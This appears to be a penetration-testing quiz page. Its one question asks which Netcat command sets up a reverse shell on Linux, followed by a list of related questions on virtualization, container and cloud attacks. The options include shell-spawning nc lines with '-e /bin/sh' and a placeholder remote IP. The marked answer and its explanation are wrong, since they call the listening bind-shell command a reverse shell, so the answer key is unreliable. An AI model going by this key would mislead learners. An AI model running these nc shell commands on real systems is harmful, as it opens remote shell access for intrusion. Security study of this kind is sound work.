adplus-dvertising
frame-decoration

Question

What command is used to set up a reverse shell with Netcat on Linux?

a.

nc -l -p [port] -e /bin/sh

b.

nc [IP of remote system] [port] -e /bin/sh

c.

nc [IP of remote system] [port] -e cmd.exe

d.

nc -l -p [port]

Answer: (a).nc -l -p [port] -e /bin/sh Explanation:The command "nc -l -p [port] -e /bin/sh" is used to set up a reverse shell with Netcat on Linux.

Engage with the Community - Add Your Comment

Confused About the Answer? Ask for Details Here.

Know the Explanation? Add it Here.

Q. What command is used to set up a reverse shell with Netcat on Linux?

Similar Questions

Discover Related MCQs

Q. Which framework makes it easy to set up remote shell access, offering both bind shells and reverse shells?

Q. What is the key concept in attacking virtual machines and containers, where compromising the underlying system allows control over many virtual machines or containers?

Q. How do containers differ from virtual machines?

Q. How can you detect if a Windows system is running in a virtual environment using the wmic command?

Q. What signs can indicate that a system is virtual when attacking virtual machines?

Q. In container attacks, what is the term for compromising the underlying system to attack the system containers are running on?

Q. What command can be used in Linux to determine the virtualization package running, specifically if the system is running system-d?

Q. Besides the system-detect-virt command, what other command in Linux can provide information about the virtualization package?

Q. How can you check if a system is being virtualized by examining disk IDs in Linux?

Q. Why are hypervisors a major target for penetration testers?

Q. What is a potential method for penetration testers to retain or obtain access by targeting virtual machine repositories?

Q. What is a challenge with virtual machine escape exploits in most virtualization environments?

Q. In containerization, what is a common starting point for attacks against Docker and Kubernetes?

Q. How can a penetration tester attempt to access a container's host after compromising the container?

Q. What is a key focus of attacks on containerized workload vulnerabilities?

Q. What should a penetration tester look for when hunting for misconfigurations in containerized technologies?

Q. What additional aspect should penetration testers keep in mind regarding attacks against containerized environments?

Q. What is a consideration when planning a penetration test for cloud-hosted environments?

Q. What is a potential consequence of compromised credentials acquired through phishing campaigns or breaches in cloud environments?

Q. What does account takeover as a penetration tester typically involve?